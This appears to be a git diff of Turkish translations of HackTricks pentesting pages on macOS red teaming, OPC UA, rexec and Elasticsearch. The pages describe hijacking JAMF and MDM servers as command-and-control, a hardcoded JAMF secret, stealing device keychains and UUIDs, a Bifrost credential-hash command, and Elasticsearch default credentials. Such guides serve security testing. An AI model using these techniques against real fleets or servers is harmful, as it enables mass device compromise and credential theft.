* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## MDM'leri Kötüye Kullanma
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
Eğer yönetim platformuna erişmek için **admin kimlik bilgilerini ele geçirirseniz**, makinelerdeki kötü amaçlı yazılımınızı dağıtarak **tüm bilgisayarları potansiyel olarak tehlikeye atabilirsiniz**.
Yönetim platformuna erişmek için **admin kimlik bilgilerini ele geçirmeyi** başarırsanız, makinelerde kötü amaçlı yazılımınızı dağıtarak **tüm bilgisayarları potansiyel olarak tehlikeye atabilirsiniz**.
MacOS ortamlarında red teaming yapmak için MDM'lerin nasıl çalıştığını anlamak oldukça önemlidir:
MacOS ortamlarında kırmızı takım çalışması için MDM'lerin nasıl çalıştığına dair bir anlayışa sahip olmak şiddetle tavsiye edilir:
{% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/)
@ -30,11 +38,11 @@ MacOS ortamlarında red teaming yapmak için MDM'lerin nasıl çalıştığını
### MDM'yi C2 Olarak Kullanma
Bir MDM, profilleri yüklemek, sorgulamak veya kaldırmak, uygulamaları yüklemek, yerel admin hesapları oluşturmak, firmware şifresi ayarlamak, FileVault anahtarını değiştirmek için izinlere sahip olacaktır...
Bir MDM, profilleri yüklemek, sorgulamak veya kaldırmak, uygulamaları yüklemek, yerel admin hesapları oluşturmak, firmware şifresi ayarlamak, FileVault anahtarını değiştirmek için izne sahip olacaktır...
Kendi MDM'nizi çalıştırmak için **CSR'nizin bir satıcı tarafından imzalanması** gerekir, bunu [**https://mdmcert.download/**](https://mdmcert.download/) ile elde etmeyi deneyebilirsiniz. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz.
Kendi MDM'nizi çalıştırmak için **CSR'nizin bir satıcı tarafından imzalanması** gerekir, bunu [**https://mdmcert.download/**](https://mdmcert.download/) ile almaya çalışabilirsiniz. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz.
Ancak, kayıtlı bir cihazda bir uygulama yüklemek için, hala bir geliştirici hesabı tarafından imzalanması gerekir... ancak, MDM kaydı sırasında **cihaz MDM'nin SSL sertifikasını güvenilir CA olarak ekler**, böylece artık her şeyi imzalayabilirsiniz.
Ancak, kayıtlı bir cihazda bir uygulama yüklemek için, yine de bir geliştirici hesabı tarafından imzalanmış olması gerekir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir CA olarak ekler**, böylece artık her şeyi imzalayabilirsiniz.
Cihazı bir MDM'ye kaydetmek için, **`mobileconfig`** dosyasını root olarak yüklemeniz gerekir, bu bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve Safari'den indirildiğinde açılacaktır).
@ -46,7 +54,7 @@ JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler)
#### JAMF kendi kendine kayıt
`https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya gidin ve **kendi kendine kaydın etkin olup olmadığını** kontrol edin. Eğer etkinse, **erişim için kimlik bilgileri isteyebilir**.
`https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya giderek **kendi kendine kaydın etkin olup olmadığını** kontrol edin. Eğer etkinse, **erişim için kimlik bilgileri isteyebilir**.
Bir şifre püskürtme saldırısı gerçekleştirmek için [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanabilirsiniz.
@ -54,19 +62,17 @@ Ayrıca, uygun kimlik bilgilerini bulduktan sonra, diğer kullanıcı adlarını
![](<../../.gitbook/assets/image (107).png>)
#### JAMF cihaz Kimlik Doğrulama
#### JAMF cihaz Kimlik Doğrulaması
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
**`jamf`** ikili dosyası, keşif anında herkesle **paylaşılan** anahtarı açmak için bir sır içeriyordu ve bu: **`jk23ucnq91jfu9aj`**.\
**`jamf`** ikili dosyası, keşif anında herkesle **paylaşılan** anahtarı açmak için sırrı içeriyordu ve bu: **`jk23ucnq91jfu9aj`**.\
Ayrıca, jamf **/Library/LaunchAgents/com.jamf.management.agent.plist** içinde bir **LaunchDaemon** olarak **kalır**.
#### JAMF Cihaz Ele Geçirme
**JSS** (Jamf Software Server) **URL'si** **`jamf`** tarafından kullanılacak olan **`/Library/Preferences/com.jamfsoftware.jamf.plist`** dosyasında bulunmaktadır.\
**JSS** (Jamf Software Server) **URL'si** **`jamf`** tarafından kullanılacak olan **`/Library/Preferences/com.jamfsoftware.jamf.plist`** içinde yer almaktadır.\
Bu dosya temelde URL'yi içerir:
{% code overflow="wrap" %}
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
@ -81,7 +87,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
Yani, bir saldırgan, yüklendiğinde bu dosyayı **üzerine yazan** kötü niyetli bir paket (`pkg`) bırakabilir ve **URL'yi bir Typhon ajanından bir Mythic C2 dinleyicisine** ayarlayarak JAMF'i C2 olarak kötüye kullanma imkanı elde edebilir.
Yani, bir saldırgan, kurulduğunda bu dosyayı **üzerine yazan** kötü niyetli bir paket (`pkg`) bırakabilir ve **URL'yi bir Typhon ajanından bir Mythic C2 dinleyicisine** ayarlayarak JAMF'i C2 olarak kötüye kullanabilir.
{% code overflow="wrap" %}
```bash
@ -99,7 +105,7 @@ Bir cihaz ile JMF arasındaki **ileşimi taklit etmek** için şunlara ihtiyacı
* Cihazın **UUID'si**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Cihaz sertifikasını içeren **JAMF anahtarı**: `/Library/Application\ Support/Jamf/JAMF.keychain`
Bu bilgilerle, **ç stolen** Donanım **UUID'si** ile **SIP devre dışı** bırakılmış bir **VM** oluşturun, **JAMF anahtarını** bırakın, Jamf **ajanını** **hook** edin ve bilgilerini çalın.
Bu bilgilerle, **çalıntı** Donanım **UUID'si** ile **SIP devre dışı** bırakılmış bir **VM** oluşturun, **JAMF anahtarını** bırakın, Jamf **ajanını** **hook** edin ve bilgilerini çalın.
#### Gizli Bilgilerin Çalınması
@ -121,7 +127,7 @@ Ayrıca **MacOS** "özel" **ağ** **protokolleri** hakkında:
## Active Directory
Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** göreceksiniz. Bu senaryoda, aktif dizini **numaralandırmaya** çalışmalısınız. Aşağıdaki sayfalarda bazı **yardımlar** bulabilirsiniz:
Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** göreceksiniz. Bu senaryoda, aktif dizini **sıralamaya** çalışmalısınız. Aşağıdaki sayfalarda bazı **yardımlar** bulabilirsiniz:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -139,10 +145,10 @@ Size yardımcı olabilecek bazı **yerel MacOS araçları** `dscl` olabilir:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Ayrıca, MacOS için AD'yi otomatik olarak listelemek ve kerberos ile oynamak üzere hazırlanmış bazı araçlar bulunmaktadır:
Ayrıca, MacOS için AD'yi otomatik olarak listelemek ve kerberos ile oynamak için hazırlanmış bazı araçlar vardır:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplama ve alma imkanı sunan Bloodhound denetim aracının bir uzantısıdır.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'taki Heimdal krb5 API'leri ile etkileşimde bulunmak üzere tasarlanmış bir Objective-C projesidir. Projenin amacı, hedefte başka bir çerçeve veya paket gerektirmeden yerel API'ler kullanarak macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapmaktır.
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS hostlarında Active Directory ilişkilerini toplama ve işleme imkanı sağlayan Bloodhound denetim aracının bir uzantısıdır.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'taki Heimdal krb5 API'leri ile etkileşimde bulunmak için tasarlanmış bir Objective-C projesidir. Projenin amacı, hedefte başka bir çerçeve veya paket gerektirmeden yerel API'ler kullanarak macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapmaktır.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory listeleme yapmak için JavaScript for Automation (JXA) aracı.
### Alan Bilgisi
@ -162,9 +168,9 @@ Kullanıcılar ve gruplar hakkında yerel bilgiler _/var/db/dslocal/nodes/Defaul
HasSession ve AdminTo kenarlarını kullanmanın yanı sıra, **MacHound, Bloodhound veritabanına üç yeni kenar ekler**:
* **CanSSH** - ana makineye SSH ile bağlanmasına izin verilen varlık
* **CanVNC** - ana makineye VNC ile bağlanmasına izin verilen varlık
* **CanAE** - ana makinede AppleEvent betikleri çalıştırmasına izin verilen varlık
* **CanSSH** - ana makineye SSH bağlantısına izin verilen varlık
* **CanVNC** - ana makineye VNC bağlantısına izin verilen varlık
* **CanAE** - ana makinede AppleEvent betikleri çalıştırmaya izin verilen varlık
```bash
#User enumeration
dscl . ls /Users
@ -190,7 +196,7 @@ Daha fazla bilgi için [https://its-a-feature.github.io/posts/2018/01/Active-Dir
### Computer$ şifresi
Şifreleri elde etmek için:
Şifreleri almak için:
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
@ -229,7 +235,7 @@ Anahtarlık, bir istem oluşturulmadan erişildiğinde, bir kırmızı takım eg
## Harici Hizmetler
MacOS Kırmızı Takım çalışması, genellikle **MacOS'un birkaç harici platformla doğrudan entegre olması** nedeniyle, normal bir Windows Kırmızı Takım çalışmasından farklıdır. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişmek ve OneLogin aracılığıyla birkaç harici hizmete** (github, aws...) erişmektir.
MacOS Kırmızı Takımı, genellikle **MacOS'un birkaç harici platformla doğrudan entegre olması** nedeniyle, normal bir Windows Kırmızı Takımından farklıdır. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize edilmiş kimlik bilgileri kullanarak bilgisayara erişmek ve OneLogin aracılığıyla birkaç harici hizmete** (github, aws...) erişmektir.
## Çeşitli Kırmızı Takım teknikleri
@ -247,6 +253,14 @@ Safari'de bir dosya indirildiğinde, eğer "güvenli" bir dosya ise, **otomatik
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -256,7 +270,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -15,11 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
## Temel Bilgiler
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**OPC UA**, **Açık Platform İletişim Birleşik Erişim** anlamına gelir, çeşitli endüstrilerde, özellikle Üretim, Enerji, Havacılık ve Savunma alanlarında veri alışverişi ve ekipman kontrolü için kullanılan önemli bir açık kaynak protokoldür. Farklı satıcıların ekipmanlarının, özellikle PLC'lerle iletişim kurmasını benzersiz bir şekilde sağlar.
#### Get a hacker's perspective on your web apps, network, and cloud
Yapılandırması güçlü güvenlik önlemlerine olanak tanır, ancak genellikle eski cihazlarla uyumluluk için bu önlemler azaltılır ve sistemler risklere maruz kalır. Ayrıca, OPC UA hizmetlerini bulmak zor olabilir çünkü ağ tarayıcıları, standart dışı portlarda olduklarında bunları tespit edemeyebilir.
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Information
**OPC UA**, yani **Açık Platform İletişim Birleşik Erişim**, veri alışverişi ve ekipman kontrolü için Üretim, Enerji, Havacılık ve Savunma gibi çeşitli endüstrilerde kullanılan önemli bir açık kaynak protokolüdür. Farklı satıcıların ekipmanlarının, özellikle PLC'lerle iletişim kurmasını benzersiz bir şekilde sağlar.
Yapılandırması güçlü güvenlik önlemlerine olanak tanır, ancak genellikle eski cihazlarla uyumluluk için bu önlemler azaltılır ve sistemleri risklere maruz bırakır. Ayrıca, OPC UA hizmetlerini bulmak zor olabilir çünkü ağ tarayıcıları, standart dışı portlarda olduklarında bunları tespit edemeyebilir.
**Varsayılan port:** 4840
```text
@ -34,7 +42,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### Açıkların Sömürülmesi
Eğer kimlik doğrulama atlama açıkları bulunursa, buna göre bir [OPC UA istemcisi](https://www.prosysopc.com/products/opc-ua-browser/) yapılandırabilir ve neye erişebileceğinizi görebilirsiniz. Bu, yalnızca süreç değerlerini okumaktan ağır sanayi ekipmanlarını çalıştırmaya kadar her şeyi mümkün kılabilir.
Eğer kimlik doğrulama atlama açıkları bulunursa, buna göre bir [OPC UA istemcisi](https://www.prosysopc.com/products/opc-ua-browser/) yapılandırabilir ve erişebileceğiniz şeyleri görebilirsiniz. Bu, yalnızca süreç değerlerini okumaktan ağır sanayi ekipmanlarını işletmeye kadar her şeyi mümkün kılabilir.
Erişim sağladığınız cihaz hakkında bir ipucu almak için adres alanındaki "ServerStatus" düğüm değerlerini okuyun ve bir kullanım kılavuzu için Google'da arama yapın.
@ -46,6 +54,14 @@ Erişim sağladığınız cihaz hakkında bir ipucu almak için adres alanındak
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, sömürülebilir açıkları bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik sömürüleri kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -55,8 +71,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}

View file

@ -17,13 +17,15 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Temel Bilgiler
**Geçerli kimlik bilgilerini** (kullanıcı adı ve şifre) biliyorsanız, bir ana bilgisayar içinde bir komut **çalıştırmanıza olanak tanıyan** bir hizmettir.
**Geçerli** **kimlik bilgilerini** (kullanıcı adı ve şifre) biliyorsanız, bir ana bilgisayar içinde bir komut **çalıştırmanıza** olanak tanıyan bir hizmettir.
**Varsayılan Port:** 512
```
@ -34,7 +36,9 @@ PORT STATE SERVICE
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -47,7 +51,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -15,15 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Temel bilgiler
Elasticsearch, **dağıtık**, **açık kaynak** bir arama ve analiz motorudur ve **her türlü veri** için kullanılır. **Hızı**, **ölçeklenebilirliği** ve **basit REST API'leri** ile bilinir. Apache Lucene üzerine inşa edilmiştir ve ilk olarak 2010 yılında Elasticsearch N.V. (şimdi Elastic olarak bilinir) tarafından piyasaya sürülmüştür. Elasticsearch, veri alımı, zenginleştirme, depolama, analiz ve görselleştirme için açık kaynak araçların bir koleksiyonu olan Elastic Stack'in temel bileşenidir. Genellikle ELK Stack olarak adlandırılan bu yığın, ayrıca Logstash ve Kibana'yı içerir ve şimdi Beats adı verilen hafif veri taşıma ajanlarına sahiptir.
Elasticsearch, **tüm veri türleri** için **dağıtık**, **açık kaynak** bir arama ve analiz motorudur. **Hız**, **ölçeklenebilirlik** ve **basit REST API'leri** ile tanınır. Apache Lucene üzerine inşa edilmiştir ve ilk olarak 2010 yılında Elasticsearch N.V. (şimdi Elastic olarak bilinir) tarafından piyasaya sürülmüştür. Elasticsearch, veri alımı, zenginleştirme, depolama, analiz ve görselleştirme için açık kaynak araçların bir koleksiyonu olan Elastic Stack'in temel bileşenidir. Genellikle ELK Stack olarak adlandırılan bu yığın, ayrıca Logstash ve Kibana'yı içerir ve şimdi Beats adı verilen hafif veri taşıma ajanlarına sahiptir.
### Elasticsearch indeksi nedir?
Elasticsearch **indeksi**, **JSON** olarak saklanan **ilişkili belgelerin** bir koleksiyonudur. Her belge, **anahtarlar** ve bunların karşılık gelen **değerleri** (dizeler, sayılar, booleanlar, tarihler, diziler, coğrafi konumlar vb.) içerir.
Elasticsearch, hızlı tam metin aramaları sağlamak için **ters indeks** adı verilen verimli bir veri yapısı kullanır. Bu indeks, belgelerdeki her benzersiz kelimeyi listeler ve her kelimenin göründüğü belgeleri tanımlar.
Elasticsearch, hızlı tam metin aramalarını kolaylaştırmak için **ters indeks** adı verilen verimli bir veri yapısı kullanır. Bu indeks, belgelerdeki her benzersiz kelimeyi listeler ve her kelimenin göründüğü belgeleri tanımlar.
İndeksleme süreci sırasında, Elasticsearch belgeleri saklar ve ters indeksi oluşturur, bu da neredeyse gerçek zamanlı arama yapılmasına olanak tanır. **İndeks API'si**, belirli bir indeks içinde JSON belgelerini eklemek veya güncellemek için kullanılır.
@ -41,7 +49,7 @@ Eğer `/` erişirken bu yanıtı görmüyorsanız, aşağıdaki bölüme bakın.
### Kimlik Doğrulama
**Varsayılan olarak Elasticsearch'te kimlik doğrulama etkin değildir**, bu nedenle varsayılan olarak veritabanının içindeki her şeye herhangi bir kimlik bilgisi kullanmadan erişebilirsiniz.
**Varsayılan olarak Elasticsearch'te kimlik doğrulama etkin değildir**, bu nedenle varsayılan olarak herhangi bir kimlik bilgisi kullanmadan veritabanının içindeki her şeye erişebilirsiniz.
Kimlik doğrulamanın devre dışı olduğunu bir istekle doğrulayabilirsiniz:
```bash
@ -52,8 +60,8 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
Bu, kimlik doğrulamanın yapılandırıldığı ve **geçerli kimlik bilgilerine** sahip olmanız gerektiği anlamına gelir. Ardından, [**bunu brute force ile denemek**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (HTTP temel kimlik doğrulaması kullanır, bu nedenle BF HTTP temel kimlik doğrulaması ile kullanılabilecek her şey kullanılabilir).\
İşte bir **varsayılan kullanıcı adı listesi**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ Elasticsearch'in eski sürümleri için bu kullanıcı için varsayılan şifre **changeme**dir.
Bu, kimlik doğrulamanın yapılandırıldığı ve **geçerli kimlik bilgilerine ihtiyacınız olduğu** anlamına gelir, böylece elasticsearch'ten herhangi bir bilgi alabilirsiniz. Ardından, [**bunu brute force ile denemek**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (HTTP temel kimlik doğrulaması kullanır, bu nedenle BF HTTP temel kimlik doğrulaması ile kullanılabilecek her şey kullanılabilir).\
İşte **varsayılan kullanıcı adları listesi**: _**elastic** (superuser), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_._ Elasticsearch'un eski sürümleri için bu kullanıcı için varsayılan şifre **changeme**dir.
```
curl -X GET http://user:password@IP:9200/
```
@ -99,7 +107,7 @@ Elasticsearch hakkında bazı **bilgiler** **edinmek** için **GET** ile **eriş
| /\_cat/nodeattrs | | |
| /\_cat/nodes | | |
Bu uç noktalar [**belgeden alınmıştır**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) burada daha fazla **bulabilirsiniz**.\
Bu uç noktalar [**belgeden alınmıştır**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) ve burada **daha fazla** bulabilirsiniz.\
Ayrıca, `/_cat`'e erişirseniz, yanıt `/_cat/*` uç noktalarını içerecektir.
`/_security/user`'da (eğer kimlik doğrulama etkinse) hangi kullanıcının `superuser` rolüne sahip olduğunu görebilirsiniz.
@ -125,30 +133,30 @@ Eğer bir indeksin **tüm içeriğini dökmek** istiyorsanız, `http://host:9200
_Bank indeksindeki her belgenin (girişin) içeriğini ve önceki bölümde gördüğümüz bu indeksin alanlarını karşılaştırmak için bir an durun._
